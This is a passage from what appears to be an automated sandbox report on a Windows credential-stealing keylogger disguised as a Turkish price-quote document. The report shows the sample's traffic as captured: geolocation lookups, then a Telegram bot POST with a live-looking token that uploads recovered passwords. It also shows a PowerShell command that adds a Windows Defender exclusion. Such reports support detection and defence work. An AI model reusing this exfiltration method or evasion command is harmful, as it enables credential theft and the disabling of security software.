3	192.168.2.7	49715	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:14 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-09 18:01:14 UTC	859	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:14 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760463 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aP3B1n43OMvTH3Tlpklbeyy%2FwVUiQ%2Fd4vJnBQww4nwyIHFodMG2eDxJp%2FMgRfksj8jxNBygpPYgegnkf8e11Re%2F6EmfF%2FpPWKAWZ2jP8yubpd5U1n7sTcHb8gZcLW7wIINDQf9o4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff654d9fc570f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1611&min_rtt=1610&rtt_var=606&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1802469&cwnd=221&unsent_bytes=0&cid=25cc97dcf0c45650&ts=137&x=0"
2025-01-09 18:01:14 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49717	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:16 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-09 18:01:16 UTC	851	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760465 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YZ7BSAql3SVsmk6jUKolsaLbSjLkUT9QCgM1sre7IJZC0aixjqmvIK6G1Ho91eysbTqCI5%2B7WRCMixkTF5vRlJPzywqKXap7Ar4gUvrw7apSpfNSy2udHkkIWLUWqqYY7GBWgnDQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff654e43a65727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1967&min_rtt=1966&rtt_var=741&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1474003&cwnd=234&unsent_bytes=0&cid=889e17ef428c6658&ts=162&x=0"
2025-01-09 18:01:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49720	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:17 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-09 18:01:17 UTC	856	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:17 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760466 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uyB9w0O41UbFV4RJkNELbdDAABQ6bzitOZhE11KNpMAPw2gS5BknQre0XqmSs5j%2FkW1SvtVjoAdBnQiTlLxmJd51GUQHBn8%2FqJ2asbBVN5wrrZexCy%2FG8hmS8qM1NaMQmoFaeSRj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff654edb94b424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7146&min_rtt=1630&rtt_var=4040&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1791411&cwnd=248&unsent_bytes=0&cid=e31557b3cdc6d20c&ts=144&x=0"
2025-01-09 18:01:17 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49732	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:19 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-09 18:01:19 UTC	859	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:19 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760468 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z4JHTAZlqJVRmWx6%2BQ5SafnIw0RCX7HUS%2FsW8RoD3HbDCkyaYGWP393j9RK6SsKkxBT%2Fe6IuQhSz09NORdPTiGXVnskTgdMt7%2F89ksJRSImdTEvh4y6R0G1u0Dmo%2BNja28ViYYgH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff654f6cc75729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1930&min_rtt=1930&rtt_var=723&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1512953&cwnd=169&unsent_bytes=0&cid=b6500337e642a187&ts=162&x=0"
2025-01-09 18:01:19 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49739	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:20 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-09 18:01:20 UTC	869	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:20 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760469 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x5V4lcKl0mra7B%2BbAq7ZkZmLA%2BzIlg5%2BDydZIRXGUqOje2HT%2FLEqxlmI9LwdZjd%2B%2BPNFPK%2B7Re%2B3ME8a9uTNES9ASnsvckE%2BnlOWRi2vTHtBWekHtZxGVwvdS4YlykH8e0kWRVvH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff654ffd93b43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10287&min_rtt=1591&rtt_var=5895&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1835323&cwnd=203&unsent_bytes=0&cid=adec35c87dd7acfe&ts=169&x=0"
2025-01-09 18:01:20 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49751	104.21.112.1	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:22 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-09 18:01:22 UTC	861	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 18:01:22 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1760471 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FV9sxWiOK4xwMQrsETZzU2zmD6%2BDnx5LbjR%2B1CE6n891pJpC%2FYAKU12jIU2rb0DS8O0ya5%2FQnAIZiaImDgsMfZr4CY3SJlJHnZByqsfBYKMvChdx%2BJZF8Rbgw5DlJUcW1%2BOXU8GG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff6550a2ea343b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1587&min_rtt=1587&rtt_var=793&sent=8&recv=9&lost=0&retrans=1&sent_bytes=4236&recv_bytes=699&delivery_rate=32736&cwnd=203&unsent_bytes=0&cid=02654d513fd3a24a&ts=351&x=0"
2025-01-09 18:01:22 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49757	149.154.167.220	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:23 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20and%20Time:%2010/01/2025%20/%2004:43:02%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20585948%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-09 18:01:23 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 18:01:23 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-09 18:01:23 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49804	149.154.167.220	443	6368	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 18:01:30 UTC	353	OUT	POST /bot7611127374:AAGXC2jAyl-P1rRPCEhU4dJbqLtPBhqL70U/sendDocument?chat_id=-4732682041&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd31a0fcea8a14 Host: api.telegram.org Content-Length: 585
2025-01-09 18:01:30 UTC	585	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 31 61 30 66 63 65 61 38 61 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 35 38 35 39 34 38 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 39 2f 30 31 2f 32 30 32 35 20 2f 20 31 33 3a 30 31 Data Ascii: --------------------------8dd31a0fcea8a14Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:585948Date and Time: 09/01/2025 / 13:01
2025-01-09 18:01:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 18:01:30 GMT Content-Type: application/json Content-Length: 540 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-09 18:01:30 UTC	540	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 33 37 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 36 31 31 31 32 37 33 37 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 65 6c 47 72 6f 75 70 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 65 6c 31 30 31 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 37 33 32 36 38 32 30 34 31 2c 22 74 69 74 6c 65 22 3a 22 44 65 6c 65 74 65 64 20 47 72 6f 75 70 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 34 34 35 36 39 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":13749,"from":{"id":7611127374,"is_bot":true,"first_name":"DelGroup","username":"Del101bot"},"chat":{"id":-4732682041,"title":"Deleted Group","type":"group","all_members_are_administrators":true},"date":1736445690,"documen

Target ID:	0
Start time:	13:01:04
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"
Imagebase:	0x180000
File size:	754'688 bytes
MD5 hash:	1579F7D1A5AF2D811A9ADE177CA3ED73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1519490045.00000000034C1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:01:05
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"
Imagebase:	0xa50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:01:05
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:01:05
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"
Imagebase:	0xa00000
File size:	754'688 bytes
MD5 hash:	1579F7D1A5AF2D811A9ADE177CA3ED73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.3708001615.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000005.00000002.3710704930.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:01:06
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1832
Imagebase:	0xe40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exePID: 320, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	96.5%
Signature Coverage:	0%
Total number of Nodes:	85
Total number of Limit Nodes:	5

Executed Functions

Function 04AA7490 Relevance: 9.3, Strings: 7, Instructions: 502
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 04AA74BA
K, xrefs: 04AA75EC
'Aq, xrefs: 04AA74AE
$Aq, xrefs: 04AA74D7
), xrefs: 04AA790A
/, xrefs: 04AA76D9
], xrefs: 04AA7692

Memory Dump Source

Source File: 00000000.00000002.1521105117.0000000004AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4aa0000_fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .jbxd

Similarity

API ID:
String ID: 'Aq$)$/$4'q$K$]$$Aq
API String ID: 0-841784018
Opcode ID: 7db4fed59292bce7253df46c41938503ca4dd620383c827b3039fd170a005044
